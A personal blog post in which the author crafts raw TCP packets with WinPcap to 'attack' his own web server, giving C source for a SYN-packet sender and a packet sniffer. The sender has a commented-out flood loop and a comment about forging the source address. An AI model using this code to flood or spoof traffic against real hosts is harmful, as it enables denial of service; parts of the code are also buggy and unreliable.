An Illegal Method For Improving Search Standings

Execution


In my last blog I promised to show me hacking into Serval; my web server platform. I also had another blog where I showed how I setup Caprica so she could dual boot into Puppy Linux mode. I wrote a simple raw socket program that I compiled on Puppy Caprica and ran to "attack" Serval. Nothing showed up in the WinPcap program running on Serval; i.e., nothing from the raw socket program arrived in Serval's network adapter. I thought Linux allowed you to run raw sockets. All of a sudden I was afraid I wouldn't be hacking into Serval.

My virtual XP system is using SP1, which supports raw sockets, supposedly. I did try upgrading the service pack, but that failed; SP1 is no longer supported by Microsoft. So I should be able to use virtual Caprica to attack Serval. Still nothing showing up on Serval. Getting desperate, I copied some code from  http://www.binarytides.com/raw-sockets-packets-with-winpcap/ , a WinPcap implementation of a raw socket program. This program was written to be compiled with VC++ 6.0, so I found a copy on the Internet, compiled and still no luck!  Maybe SP1 doesn't work with raw sockets either. ...or, my attempt at upgrading virtual Caprica ruined her ability too spoof.

I thought, I might as well try Windows 2000. So, I created a virtual Windows 2000 system and ran the raw socket program on it. Success! I compiled on XP SP1, so SP1 probably can support raw sockets. Here are some screen shots of me hacking (kinda sorta, I used the real source IP so I wouldn't have too syn flood anyone).

 





Here's some more code; first the sending ("attacking") program.

 

/*
	Author: Silver Moon ( m00n.silv3r@gmail.com )
	Slightly modified by Dave Marshall Katelansky (dave@community-info.org)
	Description: Send Raw packets using winpcap
	Using SendArp of iphlpapi.dll to retrive the MAC Address of the IP
	Address. SendArp function available only on Windows 2000 and above
*/

#define HAVE_REMOTE // For Promiscous mode sniffing :)
#undef _WIN64
#include 
#include "pcap.h"
#include "raw.h"
#include "adapter.h"
#include 

#pragma comment(lib,"ws2_32.lib") //For winsock
#pragma comment(lib,"wpcap.lib") //For winpcap

void ifprint(pcap_if_t *d);
//Checksum function
USHORT in_checksum(unsigned short* , int);
int init_winsock();

int main() 
{
	pcap_if_t *alldevs , *d , dev[100];
	pcap_t *fp;
	pcap_addr_t *a;

	u_char packet[65536],s_mac[6],d_mac[6];
	in_addr srcip , destip;

	ETHER_HDR *ehdr;
	IPV4_HDR *iphdr;
	TCP_HDR *tcphdr;
	P_HDR pseudo_header;
	char *dump = "GET / HTTP/1.0";

	char sgatewayip[16],errbuf[PCAP_ERRBUF_SIZE+1], *data;
	int gatewayip , count = 1 , process_id = GetCurrentProcessId();
	
	char acUserName[100];
    DWORD nUserName = sizeof(acUserName);
    
	if (GetUserName(acUserName, &nUserName))
	{
        printf("Username : %s \n" , acUserName);
	}
    else
	{
		printf("Failed to lookup user name, error code %d \n" , GetLastError() );
	}
    	
	loadiphlpapi();
	
	// Retrieve the interfaces list from winpcap
	printf("Retrieving the available devices...");
	
	if (pcap_findalldevs_ex("rpcap://", NULL, &alldevs, errbuf) == -1) 
	{
	    fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
	    exit(1);
	}
	printf("Retrieved.\n");

	printf("The following devices found : \n\n");
  	for(d = alldevs ; d ; d = d->next)	//Print the devices
	{
		printf("%d)\n",count);
		dev[count++] = *d;
		ifprint(d);
	}
	
	//Ask user to select the device he wants to use
	printf("Enter the device number you want to use : ");
	scanf("%d",&count);
	
	a = dev[count].addresses;
	
	//Get mac addresses of source and gateway ips
	srcip = ((struct sockaddr_in *)a->addr)->sin_addr;
	GetMacAddress(s_mac , srcip);
	printf("Selected device has mac address : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",s_mac[0],s_mac[1],s_mac[2],s_mac[3],s_mac[4],s_mac[5]);
			
	GetGateway(srcip , sgatewayip , &gatewayip);
	printf("\nSelected device has gateway : %s",sgatewayip);
	destip.s_addr = gatewayip;
	
	GetMacAddress(d_mac , destip);
	printf(" (Mac : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X)",d_mac[0],d_mac[1],d_mac[2],d_mac[3],d_mac[4],d_mac[5]);

	//Now open the selected device
	printf("\nOpening the selected device...");
	
	if ( (fp = pcap_open(dev[count].name,            // name of the device
                        100,						// portion of the packet to capture (only the first 100 bytes)
                        PCAP_OPENFLAG_PROMISCUOUS,  // promiscuous mode
                        1000,						// read timeout
                        NULL,						// authentication on the remote machine
                        errbuf						// error buffer
                        ) ) == NULL)
    {
        fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", dev[count].name);
        return 1;
    }
	printf("Opened");
	pcap_freealldevs(alldevs);

	// *******************  Ethernet Header *****************
	
	ehdr = (PETHER_HDR)packet;
	
	memcpy(ehdr->source , s_mac , 6);	//Source Mac address
	memcpy(ehdr->dest,d_mac,6);	//Destination MAC address
	ehdr->type = htons(0x0800); //IP Frames
	
	// *******************  IP Header *****************

	iphdr = (PIPV4_HDR)(packet + sizeof(ETHER_HDR));
	
	iphdr->ip_version = 4;
	iphdr->ip_header_len = 5;	//In double words thats 4 bytes
	iphdr->ip_tos = 0;
	iphdr->ip_total_length = htons (sizeof(IPV4_HDR) + sizeof(TCP_HDR) + strlen(dump));
	iphdr->ip_id = htons(2);
	iphdr->ip_frag_offset = 0;
	iphdr->ip_reserved_zero=0;
	iphdr->ip_dont_fragment=1;
	iphdr->ip_more_fragment=0;
	iphdr->ip_frag_offset1 = 0;
	iphdr->ip_ttl    = 3;
	iphdr->ip_protocol = IPPROTO_TCP;
	iphdr->ip_srcaddr  = srcip.s_addr; //inet_addr("76.18.55.205");   
	iphdr->ip_destaddr = inet_addr("76.18.55.205");
	iphdr->ip_checksum =0;
	iphdr->ip_checksum = in_checksum((unsigned short*)iphdr, sizeof(IPV4_HDR));
	
	// *******************  TCP Header *****************
	tcphdr = (PTCP_HDR)(packet + sizeof(ETHER_HDR) + sizeof(IPV4_HDR));
	
	tcphdr->source_port = htons( 5000 );
	tcphdr->dest_port = htons(80);
	tcphdr->sequence=0;
	tcphdr->acknowledge=0;
	tcphdr->reserved_part1=0;
	tcphdr->data_offset=5;
	tcphdr->fin=0;
	tcphdr->syn=1;
	tcphdr->rst=0;
	tcphdr->psh=0;
	tcphdr->ack=0;
	tcphdr->urg=0;
	tcphdr->ecn=0;
	tcphdr->cwr=0;
	tcphdr->window = htons(64240);
	tcphdr->checksum=0;
	tcphdr->urgent_pointer = 0;
		
	// *******************  Data Dump *****************
	data = (char*)(packet + sizeof(ETHER_HDR) + sizeof(IPV4_HDR) + sizeof(TCP_HDR));
	strcpy(data,dump);

	// *******************  Checksum calculation *****************
	pseudo_header.source_address = srcip.s_addr; //inet_addr("76.18.55.205"); //forge it >:) srcip.s_addr; 
	pseudo_header.dest_address = inet_addr("76.18.55.205");   //destip.s_addr;
	pseudo_header.placeholder = 0;
	pseudo_header.protocol = IPPROTO_TCP;
	pseudo_header.tcp_length = htons(sizeof(TCP_HDR) + strlen(dump));
	memcpy(&pseudo_header.tcp , tcphdr , sizeof TCP_HDR);
	
	unsigned char *seudo;
	seudo = new unsigned char(sizeof P_HDR + strlen(dump));
	memcpy(seudo, &pseudo_header, sizeof P_HDR);
	memcpy(seudo + sizeof P_HDR , data , strlen(dump));
	
	tcphdr->checksum = in_checksum((unsigned short*)seudo, sizeof(P_HDR) + strlen(dump));
	
	printf("\nSending Packet...");
	
	//Uncomment this line if you want to flood
	char seqnbr[11]; //DMK 11/01/2012, my modifications start here and end at the bottom
	char ch;         // of the "while loop"
	//while(1) 
	{
		pcap_sendpacket(fp , packet , sizeof(ETHER_HDR) + sizeof(IPV4_HDR) + sizeof(TCP_HDR) + strlen(dump));
		printf("Just sent the syn packet\n\n");
		ch = getchar();
		printf("Enter the sequence number:");  //remember to switch 
		fgets(seqnbr, sizeof(seqnbr), stdin);  //the ack and seq back
		tcphdr->sequence = atoi(seqnbr);	   //and inc our ack			
		printf("Enter the acknowledge number:");
		ch = getchar();
		fgets(seqnbr, sizeof(seqnbr), stdin);
	    tcphdr->acknowledge = atoi(seqnbr);
		tcphdr->syn=0;  //our final hand shake is an ack
	    tcphdr->ack=1;
		pcap_sendpacket(fp , packet , sizeof(ETHER_HDR) + sizeof(IPV4_HDR) + sizeof(TCP_HDR) + strlen(dump));
        pcap_sendpacket(fp , packet , sizeof(ETHER_HDR) + sizeof(IPV4_HDR) + sizeof(TCP_HDR) + strlen(dump));		
	}
	
	return 0;
}

/* 
	Print all the available information about a winpcap device like lo , eth0
*/
void ifprint(pcap_if_t *d) 
{
	pcap_addr_t *a;
	
	printf("%s\n",d->name);	//Name
  
	if (d->description)	
	{
		printf("Description: %s\n",d->description);	//Description
	}

	// Loopback Address
	printf("Loopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"Yes":"No");
	
  	for(a = d->addresses ; a ; a=a->next)	//Now print the IP addresses etc of each device
	{	
		printf("Address Family: #%d\n",a->addr->sa_family);
	 
		switch(a->addr->sa_family) 
		{
			case AF_INET:
				printf("Address Family Name: AF_INET\n");
        
				if (a->addr)
				{
					printf("Address: %s\n",inet_ntoa(((struct sockaddr_in *)a->addr)->sin_addr));
				}
			   
				if (a->netmask)
				{
					//If a valid netmask has been detected
					printf("Netmask: %s\n",inet_ntoa(((struct sockaddr_in *)a->netmask)->sin_addr));
				}
        
				if (a->broadaddr) 
				{
					//If a valid Broadcast Address is detected
					printf("Broadcast Address: %s\n",inet_ntoa(((struct sockaddr_in *)a->broadaddr)->sin_addr));
				}
        
				if (a->dstaddr)
				{
					printf("Destination Address: %s\n",inet_ntoa(((struct sockaddr_in *)a->dstaddr)->sin_addr));
				}
			break;
    
			default:
        		printf("Address Family Name: Unknown\n");
				break;
		}
	}
	printf("\n");
}

/*
	General Networking Functions
	Checksum function - used to calculate the IP header and TCP header checksums
*/
unsigned short in_checksum(unsigned short *ptr,int nbytes) 
{
	register long sum;
	unsigned short oddbyte;
	register short answer;

	sum=0;
	while(nbytes>1) {
		sum+=*ptr++;
		nbytes-=2;
	}
	if(nbytes==1) {
		oddbyte=0;
		*((u_char*)&oddbyte)=*(u_char*)ptr;
		sum+=oddbyte;
	}

	sum = (sum>>16)+(sum & 0xffff);
	sum = sum + (sum>>16);
	answer=(SHORT)~sum;
	
	return(answer);
}

/*
	Initialise Winsock with the WSAStartup function
*/
int init_winsock()
{
	WSADATA firstsock;
	
	if (WSAStartup(MAKEWORD(2,2),&firstsock) != 0) 
	{
		printf("\nFailed to initialise winsock.");
		printf("\nError Code : %d",WSAGetLastError());
		return 1;	//Return 1 on error
	}
	
	return 0;	//Return 0 on successful
}


Here's my Modified basic_dump code, further modified too allow manual control of the display lines:

#include 
#include 
#include  
#include "winsock2.h"               //need this for the ntohs and ntohl functions
#pragma comment(lib, "ws2_32.lib")  //I added the wpcap.lib library in the project settings but I wasn't sure about how too add this
                                    //so I'm adding the library for winsock here, the old fashioned way
using namespace System;

/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);

// prototype of dotted decimal formatting functio
void createDotted(char *binaryStr);

FILE  *network_records;
int main(int argc, char *argv[])
{
	pcap_if_t *alldevs;
	pcap_if_t *d;
	int inum;
	int i=0;
	pcap_t *adhandle;
	char errbuf[PCAP_ERRBUF_SIZE];
	
	network_records = fopen("network_records.txt.","w");
	
	/* Retrieve the device list */
	if(pcap_findalldevs(&alldevs, errbuf) == -1)
	{
		fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
		exit(1);
	}
	
	/* Print the list */
	for(d=alldevs; d; d=d->next)
	{
		printf("%d. %s", ++i, d->name);
		if (d->description)
			printf(" (%s)\n", d->description);
		else
			printf(" (No description available)\n");
	}
	
	if(i==0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return -1;
	}
	
	printf("Enter the interface number (1-%d):",i);
	scanf("%d", &inum);
	
	if(inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}
	
	/* Jump to the selected adapter */
	for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
	
	/* Open the device */
	/* Open the adapter */
	if ((adhandle= pcap_open_live(d->name,	// name of the device
							 65536,			// portion of the packet to capture. 
											// 65536 grants that the whole packet will be captured on all the MACs.
							 1,				// promiscuous mode (nonzero means promiscuous)
							 1000,			// read timeout
							 errbuf			// error buffer
							 )) == NULL)
	{
		fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return -1;
	}
	
	printf("\nlistening on %s...\n", d->description);
	
	/* At this point, we don't need any more the device list. Free it */
	pcap_freealldevs(alldevs);
	
	/* start the capture */
	pcap_loop(adhandle, 0, packet_handler, NULL);
	
	pcap_close(adhandle);
	fclose(network_records);
	return 0;
}


/* Callback function invoked by libpcap for every incoming packet */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
	struct tm *ltime;
	char timestr[16];
	time_t local_tv_sec;

	typedef struct tcp_header  
 {  
     unsigned short source_port; // source port  
     unsigned short dest_port; // destination port  
     unsigned int sequence; // sequence number - 32 bits  
     unsigned int acknowledge; // acknowledgement number - 32 bits  
    

     unsigned char ns :1; //Nonce Sum Flag Added in RFC 3540.  
     unsigned char reserved_part1:3; //according to rfc  
     unsigned char data_offset:4; /*The number of 32-bit words in the TCP header.  
     This indicates where the data begins.  
     The length of the TCP header is always a multiple  
     of 32 bits.*/ 

     unsigned char fin :1; //Finish Flag  
     unsigned char syn :1; //Synchronise Flag  
     unsigned char rst :1; //Reset Flag  
     unsigned char psh :1; //Push Flag  
     unsigned char ack :1; //Acknowledgement Flag  
     unsigned char urg :1; //Urgent Flag  
   
     unsigned char ecn :1; //ECN-Echo Flag  
     unsigned char cwr :1; //Congestion Window Reduced Flag  
    
     unsigned short window; // window  
     unsigned short checksum; // checksum  
     unsigned short urgent_pointer; // urgent pointer  
 } TCP_HDR;  

/* Ip header (v4)  */
 typedef struct ip_hdr  
 {  
     unsigned char ip_header_len:4; // 4-bit header length (in 32-bit words) normally=5 (Means 20 Bytes may be 24 also)  
     unsigned char ip_version :4; // 4-bit IPv4 version  
     unsigned char ip_tos; // IP type of service  
     unsigned short ip_total_length; // Total length  
     unsigned short ip_id; // Unique identifier  
   
     unsigned char ip_frag_offset :5; // Fragment offset field  
    
     unsigned char ip_more_fragment :1;  
     unsigned char ip_dont_fragment :1;  
     unsigned char ip_reserved_zero :1;  
    
     unsigned char ip_frag_offset1; //fragment offset  
    
     unsigned char ip_ttl; // Time to live  
     unsigned char ip_protocol; // Protocol(TCP,UDP etc)  
     unsigned short ip_checksum; // IP checksum  
     unsigned int ip_srcaddr; // Source address  
     unsigned int ip_destaddr; // Source address  
 } IPV4_HDR;  
    
/* Ethernet Header  */
 typedef struct ethernet_header  
 {  
     UCHAR dest[6];  
     UCHAR source[6];  
     USHORT type;  
 }   ETHER_HDR;  
   
 ETHER_HDR *ethhdr;  
 IPV4_HDR *iphdr;  
 TCP_HDR *tcpheader;  
 unsigned char iphdrlen = 0;
 unsigned int sequence = 0;
 unsigned int ack = 0;
 unsigned short dest_port = 0;
 unsigned short source_port = 0;
 int flags = 0;
 unsigned int sourceip = 0;
 unsigned int destip = 0;
 char binaryStr[255];
 
 	/*
	 * unused parameter
	 */
	(VOID)(param);

	/* Get the sequence number from pkt_data */
	iphdr = (IPV4_HDR *) (pkt_data + sizeof(ETHER_HDR));
	iphdrlen = iphdr->ip_header_len*4;
	tcpheader = (TCP_HDR*) (pkt_data +iphdrlen + sizeof(ETHER_HDR));
	if (tcpheader != NULL) 
	{
	   sequence = ntohl(tcpheader->sequence);
	   ack = ntohl(tcpheader->acknowledge);;
	   source_port = ntohs(tcpheader->source_port);
	   dest_port = ntohs(tcpheader->dest_port);
	   sourceip = iphdr->ip_srcaddr;
	   destip = iphdr->ip_destaddr; 
	}
	else
	{
		sequence = -1;
	}

	/* convert the timestamp to readable format */
	local_tv_sec = header->ts.tv_sec;
	ltime=localtime(&local_tv_sec);
	strftime( timestr, sizeof timestr, "%H:%M:%S", ltime);
	
	//I just want info from web connections - filtering for port 80
	// if ((dest_port == 80) || (source_port == 80))	
	if (tcpheader->syn)
	{
	   ++flags;
	}
	if (tcpheader->ack)
	{
		flags += 2;
	}
	
	switch (flags)
	{
	case 1: printf("flag = syn\n");
		    fputs("flag = syn\n", network_records);
			break;
	case 2: printf("flag = ackn\n");
		    fputs("flag = ack\n", network_records);
			break;
	case 3: printf("flag = syn + ack\n");
		    fputs("flag = ack + syn\n", network_records);
			break;
	}
	if (flags != 0)
	{		
		char ch;
		itoa(sourceip, binaryStr, 2);			
		createDotted(binaryStr);
		printf("source %s\n", binaryStr);
		fprintf(network_records, "source %s\n", binaryStr);
		itoa(destip, binaryStr, 2);			
		createDotted(binaryStr);
		printf("dest %s\n", binaryStr);
		fprintf(network_records, "dest %s\n", binaryStr);
		printf("%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip);		
		fprintf(network_records, "%s,%.6d len:%d, seqnbr:%u, acknbr:%u, source_port:%u, dest_port:%u, sourceip:%u, destip:%u\n", timestr, header->ts.tv_usec, header->len, sequence, ack, source_port, dest_port, sourceip, destip);
		printf("Hit ennto continue\n");
		ch = getchar();
	}
}

void createDotted(char *binaryStr)
{
	struct dottedType
 {
	 char seg0[9];
	 char seg1[9];
	 char seg2[9];
	 char seg3[9];
 } Dotted;

        memset(Dotted.seg3, 0, 9);
		strncpy(Dotted.seg3, binaryStr, 8);		
		memset(Dotted.seg2, 0, 9);
		strncpy(Dotted.seg2, binaryStr + 8, 8);		
		memset(Dotted.seg1, 0, 9);
		strncpy(Dotted.seg1, binaryStr + 16, 8);		
		memset(Dotted.seg0, 0, 9);
		strncpy(Dotted.seg0, binaryStr  + 24, 8);				
		sprintf(binaryStr, "ip: %u.%u.%u.%u\n", strtoul(Dotted.seg0, NULL, 2), strtoul(Dotted.seg1, NULL, 2), strtoul(Dotted.seg2, NULL, 2), strtoul(Dotted.seg3, NULL, 2));
}
 

Return To My Blog Page       Return To My Programming Page